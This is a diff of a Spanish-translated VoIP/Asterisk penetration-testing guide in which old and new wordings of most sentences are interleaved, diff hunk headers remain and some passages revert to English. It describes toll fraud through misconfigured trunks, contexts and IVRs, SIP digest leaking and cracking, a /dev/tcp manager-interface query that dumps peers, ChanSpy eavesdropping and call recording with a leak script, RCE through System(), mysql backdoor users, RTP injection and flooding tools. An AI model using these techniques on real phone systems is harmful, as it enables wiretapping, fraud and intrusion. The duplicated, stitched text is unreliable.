#### Códigos DTMF
**No solo las credenciales SIP** se pueden encontrar en el tráfico de red, también es posible encontrar códigos DTMF que se utilizan, por ejemplo, para acceder al **correo de voz**.\
Es posible enviar estos códigos en mensajes **INFO SIP**, en **audio** o dentro de **paquetes RTP**. Si los códigos están dentro de paquetes RTP, podrías cortar esa parte de la conversación y usar la herramienta multimo para extraerlos:
**No solo se pueden encontrar credenciales SIP** en el tráfico de red, también es posible encontrar códigos DTMF que se utilizan, por ejemplo, para acceder al **correo de voz**.\
Es posible enviar estos códigos en **mensajes SIP INFO**, en **audio** o dentro de **paquetes RTP**. Si los códigos están dentro de paquetes RTP, podrías cortar esa parte de la conversación y usar la herramienta multimo para extraerlos:
```bash
multimon -a DTMF -t wac pin.wav
```
### Llamadas gratuitas / Configuraciones incorrectas de conexiones de Asterisks
### Llamadas Gratuitas / Configuraciones Incorrectas de Conexiones Asterisks
En Asterisk es posible permitir una conexión **desde una dirección IP específica** o desde **cualquier dirección IP**:
```
host=10.10.10.10
host=dynamic
```
Si se especifica una dirección IP, el host **no necesitará enviar solicitudes REGISTER** de vez en cuando (en el paquete REGISTER se envía el tiempo de vida, generalmente 30 minutos, lo que significa que en otro escenario el teléfono necesitará REGISTRARSE cada 30 minutos). Sin embargo, necesitará tener puertos abiertos que permitan conexiones desde el servidor VoIP para recibir llamadas.
Si se especifica una dirección IP, el host **no necesitará enviar solicitudes REGISTER** de vez en cuando (en el paquete REGISTER se envía el tiempo de vida, generalmente 30 minutos, lo que significa que en otro escenario el teléfono necesitará REGISTER cada 30 minutos). Sin embargo, necesitará tener puertos abiertos que permitan conexiones desde el servidor VoIP para recibir llamadas.
Para definir usuarios se pueden definir como:
Para definir usuarios, se pueden definir como:
* **`type=user`**: El usuario solo puede recibir llamadas como usuario.
* **`type=friend`**: Es posible realizar llamadas como peer y recibirlas como usuario (usado con extensiones).
* **`type=peer`**: Es posible enviar y recibir llamadas como peer (trunk SIP).
* **`type=friend`**: Es posible realizar llamadas como par y recibirlas como usuario (utilizado con extensiones).
* **`type=peer`**: Es posible enviar y recibir llamadas como par (SIP-trunks).
También es posible establecer confianza con la variable insegura:
* **`insecure=port`**: Permite conexiones peer validadas por IP.
* **`insecure=port`**: Permite conexiones de pares validadas por IP.
* **`insecure=invite`**: No requiere autenticación para mensajes INVITE.
* **`insecure=port,invite`**: Ambos.
{% hint style="warning" %}
Cuando se utiliza **`type=friend`**, el **valor** de la variable **host** **no se utilizará**, por lo que si un administrador **configura incorrectamente un trunk SIP** usando ese valor, **cualquiera podrá conectarse a él**.
Cuando se utiliza **`type=friend`**, el **valor** de la variable **host** **no será utilizado**, por lo que si un administrador **configura incorrectamente un SIP-trunk** utilizando ese valor, **cualquiera podrá conectarse a él**.
Por ejemplo, esta configuración sería vulnerable:\
`host=10.10.10.10`\
@ -366,22 +367,22 @@ Por ejemplo, esta configuración sería vulnerable:\
`type=friend`
{% endhint %}
### Llamadas Gratuitas / Configuraciones Incorrectas de Contexto en Asterisk
### Llamadas Gratis / Configuraciones Incorrectas de Contexto en Asterisco
En Asterisk, un **contexto** es un contenedor o sección nombrada en el plan de marcado que **agrupa extensiones, acciones y reglas relacionadas**. El plan de marcado es el componente central de un sistema Asterisk, ya que define **cómo se manejan y enrutan las llamadas entrantes y salientes**. Los contextos se utilizan para organizar el plan de marcado, gestionar el control de acceso y proporcionar separación entre las diferentes partes del sistema.
En Asterisk, un **contexto** es un contenedor o sección nombrada en el plan de marcado que **agrupa extensiones, acciones y reglas relacionadas**. El plan de marcado es el componente central de un sistema Asterisk, ya que define **cómo se manejan y enrutan las llamadas entrantes y salientes**. Los contextos se utilizan para organizar el plan de marcado, gestionar el control de acceso y proporcionar separación entre diferentes partes del sistema.
Cada contexto se define en el archivo de configuración, típicamente en el archivo **`extensions.conf`**. Los contextos se indican con corchetes, con el nombre del contexto encerrado en ellos. Por ejemplo:
Cada contexto se define en el archivo de configuración, típicamente en el archivo **`extensions.conf`**. Los contextos se denotan por corchetes cuadrados, con el nombre del contexto encerrado dentro de ellos. Por ejemplo:
```bash
csharpCopy code[my_context]
```
Dentro del contexto, se definen extensiones (patrones de números marcados) y se asocian con una serie de acciones o aplicaciones. Estas acciones determinan cómo se procesa la llamada. Por ejemplo:
Dentro del contexto, defines extensiones (patrones de números marcados) y las asocias con una serie de acciones o aplicaciones. Estas acciones determinan cómo se procesa la llamada. Por ejemplo:
```scss
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
Este ejemplo demuestra un contexto simple llamado "mi\_contexto" con una extensión "100". Cuando alguien marca 100, la llamada será contestada, se reproducirá un mensaje de bienvenida y luego la llamada será terminada.
Este ejemplo demuestra un contexto simple llamado "my\_context" con una extensión "100". Cuando alguien marca 100, la llamada será contestada, se reproducirá un mensaje de bienvenida y luego la llamada será terminada.
Este es **otro contexto** que permite **llamar a cualquier otro número**:
```scss
@ -395,7 +396,7 @@ include => my_context
include => external
```
{% hint style="warning" %}
Cualquier persona podrá utilizar el **servidor para llamar a cualquier otro número** (y el administrador del servidor pagará la llamada).
Cualquiera podrá usar el **servidor para llamar a cualquier otro número** (y el administrador del servidor pagará por la llamada).
{% endhint %}
{% hint style="danger" %}
@ -404,7 +405,7 @@ Además, por defecto el archivo **`sip.conf`** contiene **`allowguest=true`**, e
* **`SIPPTS invite`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite verifica si un **servidor PBX nos permite hacer llamadas sin autenticación**. Si el servidor SIP tiene una configuración incorrecta, nos permitirá hacer llamadas a números externos. También puede permitirnos transferir la llamada a un segundo número externo.
Por ejemplo, si su servidor Asterisk tiene una mala configuración de contexto, puede aceptar solicitudes INVITE sin autorización. En este caso, un atacante puede hacer llamadas sin conocer ningún usuario/contraseña.
Por ejemplo, si tu servidor Asterisk tiene una mala configuración de contexto, puede aceptar solicitudes INVITE sin autorización. En este caso, un atacante puede hacer llamadas sin conocer ningún usuario/contraseña.
{% code overflow="wrap" %}
```bash
@ -418,17 +419,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
### Llamadas gratuitas / IVRS mal configurados
IVRS significa **Sistema de Respuesta de Voz Interactiva**, una tecnología de telefonía que permite a los usuarios interactuar con un sistema informatizado a través de voz o entradas de tonos táctiles. IVRS se utiliza para construir sistemas de **manejo de llamadas automatizadas** que ofrecen una variedad de funcionalidades, como proporcionar información, dirigir llamadas y capturar la entrada del usuario.
IVRS significa **Sistema de Respuesta de Voz Interactiva**, una tecnología de telefonía que permite a los usuarios interactuar con un sistema computarizado a través de entradas de voz o tonos de marcación. IVRS se utiliza para construir sistemas de **manejo de llamadas automatizado** que ofrecen una variedad de funcionalidades, como proporcionar información, enrutar llamadas y capturar la entrada del usuario.
IVRS en sistemas VoIP típicamente consta de:
IVRS en sistemas VoIP típicamente consiste en:
1. **Indicaciones de voz**: Mensajes de audio pregrabados que guían a los usuarios a través de las opciones del menú IVR e instrucciones.
2. **Señalización DTMF** (Tono Dual de Multi-Frecuencia): Entradas de tonos táctiles generadas al presionar teclas en el teléfono, que se utilizan para navegar por los menús IVR y proporcionar entrada.
3. **Enrutamiento de llamadas**: Dirigir llamadas al destino apropiado, como departamentos específicos, agentes o extensiones basadas en la entrada del usuario.
4. **Captura de entrada de usuario**: Recopilar información de los llamantes, como números de cuenta, IDs de casos u otros datos relevantes.
2. **DTMF** (Dual-Tone Multi-Frequency) señalización: Entradas de tonos de marcación generadas al presionar teclas en el teléfono, que se utilizan para navegar a través de los menús IVR y proporcionar entrada.
3. **Enrutamiento de llamadas**: Dirigir llamadas al destino apropiado, como departamentos específicos, agentes o extensiones sen la entrada del usuario.
4. **Captura de entrada del usuario**: Recopilar información de los llamantes, como números de cuenta, IDs de caso o cualquier otro dato relevante.
5. **Integración con sistemas externos**: Conectar el sistema IVR a bases de datos u otros sistemas de software para acceder o actualizar información, realizar acciones o activar eventos.
En un sistema VoIP Asterisk, puedes crear un IVR utilizando el plan de marcación (archivo **`extensions.conf`**) y varias aplicaciones como `Background()`, `Playback()`, `Read()`, y más. Estas aplicaciones te ayudan a reproducir indicaciones de voz, capturar la entrada del usuario y controlar el flujo de la llamada.
En un sistema VoIP Asterisk, puedes crear un IVR utilizando el plan de marcado (**`extensions.conf`** archivo) y varias aplicaciones como `Background()`, `Playback()`, `Read()`, y más. Estas aplicaciones te ayudan a reproducir indicaciones de voz, capturar la entrada del usuario y controlar el flujo de la llamada.
#### Ejemplo de configuración vulnerable
```scss
@ -438,40 +439,40 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
El anterior es un ejemplo donde se le pide al usuario que **presione 1 para llamar** a un departamento, **2 para llamar** a otro, o **la extensión completa** si la conoce.\
La vulnerabilidad radica en que la **longitud de la extensión indicada no se verifica, por lo que un usuario podría ingresar un número completo durante el tiempo de espera de 5 segundos y se realizará la llamada.**
El anterior es un ejemplo donde se le pide al usuario que **presione 1 para llamar** a un departamento, **2 para llamar** a otro, o **el número completo** si lo conoce.\
La vulnerabilidad es el hecho de que la **longitud de la extensión indicada no se verifica, por lo que un usuario podría ingresar el número completo con un tiempo de espera de 5 segundos y se llamará.**
### Inyección de Extensión
Utilizando una extensión como:
Usando una extensión como:
```scss
exten => _X.,1,Dial(SIP/${EXTEN})
```
Donde **`${EXTEN}`** es la **extensión** que se llamará, cuando se introduzca la **ext 101** esto es lo que sucedería:
Donde **`${EXTEN}`** es la **extensión** que será llamada, cuando se **introduzca la ext 101** esto es lo que sucederá:
```scss
exten => 101,1,Dial(SIP/101)
```
Sin embargo, si **`${EXTEN}`** permite introducir **más que números** (como en versiones antiguas de Asterisk), un atacante podría introducir **`101&SIP123123123`** para llamar al número de teléfono 123123123. Y este sería el resultado:
Sin embargo, si **`${EXTEN}`** permite introducir **más que números** (como en versiones anteriores de Asterisk), un atacante podría introducir **`101&SIP123123123`** para llamar al número de teléfono 123123123. Y este sería el resultado:
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
Por lo tanto, una llamada a la extensión **`101`** y **`123123123`** será enviada y solo la primera que reciba la llamada se establecerá... pero si un atacante utiliza una **extensión que evita cualquier coincidencia** que se esté realizando pero que no existe, podría **inyectar una llamada solo al número deseado**.
Por lo tanto, una llamada a la extensión **`101`** y **`123123123`** será enviada y solo la primera que reciba la llamada será establecida... pero si un atacante utiliza una **extensión que elude cualquier coincidencia** que se esté realizando pero no existe, podría **inyectar una llamada solo al número deseado**.
## Vulnerabilidad SIPDigestLeak
La vulnerabilidad SIP Digest Leak es una vulnerabilidad que afecta a una gran cantidad de teléfonos SIP, incluidos tanto teléfonos IP de hardware y software como adaptadores telefónicos (de VoIP a analógico). La vulnerabilidad permite la **filtración de la respuesta de autenticación Digest**, que se calcula a partir de la contraseña. Un **ataque de contraseña sin conexión es entonces posible** y puede recuperar la mayoría de las contraseñas basadas en la respuesta al desafío.
La vulnerabilidad SIP Digest Leak es una vulnerabilidad que afecta a un gran número de teléfonos SIP, incluidos tanto teléfonos IP de hardware como de software, así como adaptadores de teléfono (VoIP a analógico). La vulnerabilidad permite **la filtración de la respuesta de autenticación Digest**, que se calcula a partir de la contraseña. Un **ataque de contraseña offline es entonces posible** y puede recuperar la mayoría de las contraseñas basadas en la respuesta del desafío.
**[Escenario de vulnerabilidad desde aquí**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. Un teléfono IP (víctima) está escuchando en cualquier puerto (por ejemplo: 5060), aceptando llamadas telefónicas
2. El atacante envía un INVITE al teléfono IP
3. El teléfono de la víctima comienza a sonar y alguien contesta y cuelga (porque nadie responde al teléfono en el otro extremo)
3. El teléfono de la víctima comienza a sonar y alguien contesta y cuelga (porque nadie responde el teléfono al otro lado)
4. Cuando se cuelga el teléfono, el **teléfono de la víctima envía un BYE al atacante**
5. El **atacante emite una respuesta 407** que **solicita autenticación** y emite un desafío de autenticación
5. El **atacante emite una respuesta 407** que **pide autenticación** y emite un desafío de autenticación
6. El **teléfono de la víctima proporciona una respuesta al desafío de autenticación** en un segundo BYE
7. El **atacante puede entonces realizar un ataque de fuerza bruta** en la respuesta al desafío en su máquina local (o red distribuida, etc.) y adivinar la contraseña
7. El **atacante puede entonces realizar un ataque de fuerza bruta** en la respuesta del desafío en su máquina local (o red distribuida, etc.) y adivinar la contraseña
* **Fuga de SIPPTS** de [**sippts**](https://github.com/Pepelux/sippts)**:** La fuga de SIPPTS explota la vulnerabilidad de fuga de autenticación Digest SIP que afecta a una gran cantidad de teléfonos SIP. La salida se puede guardar en formato SipCrack para realizar un ataque de fuerza bruta utilizando SIPPTS dcrack o la herramienta SipCrack.
* **Filtración SIPPTS** de [**sippts**](https://github.com/Pepelux/sippts)**:** La filtración SIPPTS explota la vulnerabilidad SIP Digest Leak que afecta a un gran número de teléfonos SIP. La salida se puede guardar en formato SipCrack para realizar un ataque de fuerza bruta utilizando SIPPTS dcrack o la herramienta SipCrack.
```bash
sippts leak -i 10.10.0.10
@ -494,7 +495,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call permite a un **usuario web** (que por ejemplo podría estar interesado en un producto) **introducir** su **número de teléfono** para que lo llamen. Luego se llamará a un comercial, y cuando **conteste el teléfono** el usuario será **llamado y conectado con el agente**.
Click2Call permite a un **usuario web** (que por ejemplo podría estar interesado en un producto) **introducir** su **número de teléfono** para ser llamado. Luego, se llamará a un comercial, y cuando él **conteste el teléfono**, el usuario será **llamado y conectado con el agente**.
Un perfil común de Asterisk para esto es:
```scss
@ -506,10 +507,12 @@ displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
* El perfil anterior está permitiendo que **CUALQUIER dirección IP se conecte** (si se conoce la contraseña).
* Para **organizar una llamada**, como se especificó anteriormente, **no es necesario tener permisos de lectura** y solo se necesita **originate** en **write**.
* El perfil anterior permite que **CUALQUIER dirección IP se conecte** (si se conoce la contraseña).
* Para **organizar una llamada**, como se especificó anteriormente, **no se necesitan permisos de lectura** y **solo** se necesita **originar** en **escritura**.
Con esos permisos, cualquier IP que conozca la contraseña podría conectarse y extraer demasiada información, como:
{% code overflow="wrap" %}
```bash
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
@ -518,15 +521,17 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
**Se podría solicitar más información o acciones.**
### **Escuchando Conversaciones**
### **Escucha clandestina**
En Asterisk es posible utilizar el comando **`ChanSpy`** indicando la **extensión(es) a monitorear** (o todas) para escuchar conversaciones que están ocurriendo. Este comando debe ser asignado a una extensión.
En Asterisk es posible usar el comando **`ChanSpy`** indicando la(s) **extensión(es) a monitorear** (o todas ellas) para escuchar las conversaciones que están ocurriendo. Este comando debe ser asignado a una extensión.
Por ejemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que si **llamas** a la **extensión 333**, se **monitorearán** **`todas`** las extensiones, **comenzará a escuchar** cuando una nueva conversación comience (**`b`**) en modo silencioso (**`q`**) ya que no queremos interactuar en ella. Puedes pasar de una conversación a otra presionando **`*`**, o marcando el número de extensión.
Por ejemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que si **llamas** a la **extensión 333**, se **monitorearán** **`todas`** las extensiones, **comenzando a escuchar** cada vez que inicie una nueva conversación (**`b`**) en modo silencioso (**`q`**) ya que no queremos interactuar en ella. Puedes pasar de una conversación a otra presionando **`*`**, o marcando el número de extensión.
También es posible utilizar **`ExtenSpy`** para monitorear solo una extensión.
También es posible usar **`ExtenSpy`** para monitorear solo una extensión.
En lugar de escuchar las conversaciones, es posible **grabarlas en archivos** utilizando una extensión como:
En lugar de escuchar las conversaciones, es posible **grabarlas en archivos** usando una extensión como:
{% code overflow="wrap" %}
```scss
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
@ -536,27 +541,27 @@ exten => _X.,2,MixMonitor(${NAME})
Las llamadas se guardarán en **`/tmp`**.
También podrías incluso hacer que Asterisk **ejecute un script que filtrará la llamada** cuando se cierre.
También podrías hacer que Asterisk **ejecute un script que filtrará la llamada** cuando se cierre.
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### Vulnerabilidad RTCPBleed
**RTCPBleed** es un problema de seguridad importante que afecta a los servidores VoIP basados en Asterisk (publicado en 2017). La vulnerabilidad permite que el tráfico de **RTP (Protocolo de Tiempo Real)**, que lleva las conversaciones VoIP, sea **interceptado y redirigido por cualquier persona en Internet**. Esto ocurre porque el tráfico de RTP evita la autenticación al atravesar los firewalls de NAT (Traducción de Direcciones de Red).
**RTCPBleed** es un problema de seguridad importante que afecta a los servidores VoIP basados en Asterisk (publicado en 2017). La vulnerabilidad permite que el **tráfico RTP (Protocolo de Tiempo Real)**, que transporta conversaciones VoIP, sea **interceptado y redirigido por cualquier persona en Internet**. Esto ocurre porque el tráfico RTP elude la autenticación al navegar a través de firewalls NAT (Traducción de Direcciones de Red).
Los proxies de RTP intentan abordar las **limitaciones de NAT** que afectan a los sistemas RTC al hacer de intermediarios en los flujos de RTP entre dos o más partes. Cuando hay NAT en su lugar, el software de proxy de RTP a menudo no puede confiar en la información de IP y puerto de RTP obtenida a través de la señalización (por ejemplo, SIP). Por lo tanto, varios proxies de RTP han implementado un mecanismo donde dicho **tuplet de IP y puerto se aprende automáticamente**. Esto se hace a menudo inspeccionando el tráfico de RTP entrante y marcando la IP y puerto de origen para cualquier tráfico de RTP entrante como el que debería recibir una respuesta. Este mecanismo, que puede llamarse "modo de aprendizaje", **no utiliza ningún tipo de autenticación**. Por lo tanto, los **atacantes** pueden **enviar tráfico de RTP al proxy de RTP** y recibir el tráfico de RTP intermediado destinado al llamante o al llamado de un flujo de RTP en curso. Llamamos a esta vulnerabilidad RTP Bleed porque permite a los atacantes recibir flujos de medios de RTP destinados a ser enviados a usuarios legítimos.
Los proxies RTP intentan abordar las **limitaciones de NAT** que afectan a los sistemas RTC al hacer proxy de flujos RTP entre dos o más partes. Cuando hay NAT en su lugar, el software del proxy RTP a menudo no puede confiar en la información de IP y puerto RTP recuperada a través de la señalización (por ejemplo, SIP). Por lo tanto, varios proxies RTP han implementado un mecanismo donde tal **tupla de IP y puerto se aprende automáticamente**. Esto se hace a menudo inspeccionando el tráfico RTP entrante y marcando la IP y el puerto de origen para cualquier tráfico RTP entrante como el que debe ser respondido. Este mecanismo, que puede llamarse "modo de aprendizaje", **no utiliza ningún tipo de autenticación**. Por lo tanto, **los atacantes** pueden **enviar tráfico RTP al proxy RTP** y recibir el tráfico RTP proxy que está destinado al llamante o al receptor de un flujo RTP en curso. Llamamos a esta vulnerabilidad RTP Bleed porque permite a los atacantes recibir flujos de medios RTP destinados a ser enviados a usuarios legítimos.
Otro comportamiento interesante de los proxies de RTP y las pilas de RTP es que a veces, **incluso si no son vulnerables a RTP Bleed**, aceptarán, reenviarán y/o procesarán paquetes de RTP de cualquier origen. Por lo tanto, los atacantes pueden enviar paquetes de RTP que les permitan inyectar sus medios en lugar de los legítimos. Llamamos a este ataque inyección de RTP porque permite la inyección de paquetes de RTP ilegítimos en flujos de RTP existentes. Esta vulnerabilidad puede encontrarse tanto en proxies de RTP como en puntos finales.
Otro comportamiento interesante de los proxies RTP y las pilas RTP es que a veces, **incluso si no son vulnerables a RTP Bleed**, **aceptarán, reenviarán y/o procesarán paquetes RTP de cualquier fuente**. Por lo tanto, los atacantes pueden enviar paquetes RTP que pueden permitirles inyectar su medio en lugar del legítimo. Llamamos a este ataque inyección RTP porque permite la inyección de paquetes RTP ilegítimos en flujos RTP existentes. Esta vulnerabilidad puede encontrarse tanto en proxies RTP como en puntos finales.
Asterisk y FreePBX han utilizado tradicionalmente el ajuste **`NAT=yes`**, que permite que el tráfico de RTP evite la autenticación, lo que potencialmente conduce a la ausencia de audio o audio unidireccional en las llamadas.
Asterisk y FreePBX han utilizado tradicionalmente la **configuración `NAT=yes`**, que permite que el tráfico RTP eluda la autenticación, lo que puede llevar a que no haya audio o a audio unidireccional en las llamadas.
Para más información, consulta [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* **`SIPPTS rtpbleed`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detecta la vulnerabilidad de RTP Bleed enviando flujos de RTP.
* **`SIPPTS rtpbleed`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detecta la vulnerabilidad RTP Bleed enviando flujos RTP.
```bash
sippts rtpbleed -i 10.10.0.10
```
* **`SIPPTS rtcpbleed`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed detecta la vulnerabilidad de RTP Bleed enviando flujos de RTCP.
* **`SIPPTS rtcpbleed`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed detecta la vulnerabilidad RTP Bleed enviando flujos RTCP.
```bash
sippts rtcpbleed -i 10.10.0.10
```
@ -570,54 +575,54 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
### RCE
En Asterisk, si de alguna manera logras poder **agregar reglas de extensión y recargarlas** (por ejemplo, comprometiendo un servidor de administración web vulnerable), es posible obtener RCE utilizando el comando **`System`**.
En Asterisk, de alguna manera logras **agregar reglas de extensión y recargarlas** (por ejemplo, comprometiendo un servidor de administrador web vulnerable), es posible obtener RCE utilizando el **`System`** command.
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
Existe un comando llamado **`Shell`** que se podría usar **en lugar de `System`** para ejecutar comandos del sistema si es necesario.
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
{% hint style="warning" %}
Si el servidor está **prohibiendo el uso de ciertos caracteres** en el comando **`System`** (como en Elastix), verifica si el servidor web permite **crear archivos de alguna manera dentro del sistema** (como en Elastix o trixbox), y úsalo para **crear un script de puerta trasera** y luego usa **`System`** para **ejecutar** ese **script**.
If the server is **disallowing the use of certain characters** in the **`System`** command (like in Elastix), check if the web server allows to **create files somehow inside the system** (like in Elastix or trixbox), and use it to **create a backdoor script** and then use **`System`** to **execute** that **script**.
{% endhint %}
#### Archivos locales interesantes y permisos
* **`sip.conf`** -> Contiene la contraseña de los usuarios SIP.
* Si el **servidor Asterisk se está ejecutando como root**, podrías comprometer el root.
* El **usuario root de mysql** podría **no tener contraseña**.
* esto podría usarse para crear un nuevo usuario de mysql como puerta trasera.
* El **usuario root de mysql** podría **no tener ninguna contraseña**.
* esto podría usarse para crear un nuevo usuario mysql como puerta trasera.
* **`FreePBX`**
* **`amportal.conf`** -> Contiene la contraseña del administrador del panel web (FreePBX).
* **`FreePBX.conf`** -> Contiene la contraseña del usuario FreePBXuser utilizado para acceder a la base de datos.
* esto podría usarse para crear un nuevo usuario de mysql como puerta trasera.
* esto podría usarse para crear un nuevo usuario mysql como puerta trasera.
* **`Elastix`**
* **`Elastix.conf`** -> Contiene varias contraseñas en texto claro como la contraseña de root de mysql, la contraseña de IMAPd, la contraseña de administrador web.
* **Varias carpetas** pertenecerán al usuario de Asterisk comprometido (si no se está ejecutando como root). Este usuario puede leer los archivos anteriores y también controla la configuración, por lo que podría hacer que Asterisk cargue otros binarios con puertas traseras cuando se ejecuten.
* **`Elastix.conf`** -> Contiene varias contraseñas en texto claro como la contraseña root de mysql, la contraseña de IMAPd, la contraseña del administrador web.
* **Varios folders** pertenecerán al usuario asterisk comprometido (si no se está ejecutando como root). Este usuario puede leer los archivos anteriores y también controla la configuración, por lo que podría hacer que Asterisk cargue otros binarios con puerta trasera cuando se ejecuten.
### Inyección de RTP
### Inyección RTP
Es posible insertar un **`.wav`** en conversaciones usando herramientas como **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) y **`rtpmixsound`** (`sudo apt install rtpmixsound`).
Es posible insertar un **`.wav`** en las conversaciones utilizando herramientas como **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) y **`rtpmixsound`** (`sudo apt install rtpmixsound`).
O podrías usar los scripts de [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) para **escanear conversaciones** (**`rtpscan.pl`**), enviar un `.wav` a una conversación (**`rtpsend.pl`**) e **insertar ruido** en una conversación (**`rtpflood.pl`**).
### DoS
Existen varias formas de intentar lograr un DoS en servidores VoIP.
Hay varias formas de intentar lograr DoS en servidores VoIP.
* **`SIPPTS flood`** de [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood envía mensajes ilimitados al objetivo.
* `sippts flood -i 10.10.0.10 -m invite -v`
* **`SIPPTS ping`** de [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping realiza un ping SIP para ver el tiempo de respuesta del servidor.
* `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS al protocolo IAX utilizado por Asterisk.
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS protocolo IAX utilizado por Asterisk.
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Una herramienta para realizar inundaciones de mensajes SIP/SDP INVITE sobre UDP/IP.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envía varios paquetes RTP bien formados. Es necesario conocer los puertos RTP que se están utilizando (primero sniff).
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envía varios paquetes RTP bien formados. Es necesario conocer los puertos RTP que se están utilizando (esnifar primero).
* [**SIPp**](https://github.com/SIPp/sipp): Permite analizar y generar tráfico SIP, por lo que también se puede usar para DoS.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Navaja suiza SIP. También se puede usar para realizar ataques SIP.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Cuchillo suizo SIP. También se puede usar para realizar ataques SIP.
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
### Vulnerabilidades del sistema operativo
### Vulnerabilidades del SO
La forma más fácil de instalar un software como Asterisk es descargar una **distribución de SO** que ya lo tenga instalado, como: **FreePBX, Elastix, Trixbox**... El problema con estos es que una vez que estén funcionando, los administradores del sistema podrían **no actualizarlos nuevamente** y con el tiempo se descubrirán **vulnerabilidades**.
La forma más fácil de instalar un software como Asterisk es descargar una **distribución de SO** que ya lo tenga instalado, como: **FreePBX, Elastix, Trixbox**... El problema con estos es que una vez que está funcionando, los administradores del sistema podrían **no actualizarlos nuevamente** y **las vulnerabilidades** se descubrirán con el tiempo.
## Referencias
@ -628,16 +633,17 @@ La forma más fácil de instalar un software como Asterisk es descargar una **di
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,34 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
